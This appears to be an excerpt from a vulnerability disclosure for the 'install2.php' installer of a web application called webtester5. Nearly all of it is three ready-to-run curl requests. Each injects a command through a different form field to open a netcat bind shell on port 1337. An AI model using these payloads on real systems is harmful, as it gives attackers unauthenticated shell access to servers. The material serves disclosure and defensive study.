The 'install2.php' file contains multiple remote unauthenticated command execution vulnerabilities, such as:
curl -i -s -k -X 'POST' -H 'Content-Type: application/x-www-form-urlencoded' --data-binary $'createdb=yes&cpanel=yes&cpusername=\';nc -l -p 1337 -e /bin/sh #' 'http://webtester.example.com/webtester5/install2.php'
curl -i -s -k -X 'POST' -H 'Content-Type: application/x-www-form-urlencoded' --data-binary $'createdb=yes&cpanel=yes&cppassword=\';nc -l -p 1337 -e /bin/sh #' 'http://webtester.example.com/webtester5/install2.php'
curl -i -s -k -X 'POST' -H 'Content-Type: application/x-www-form-urlencoded' --data-binary $'createdb=yes&cpanel=yes&cpdomain=\';nc -l -p 1337 -e /bin/sh #' 'http://webtester.example.com/webtester5/install2.php'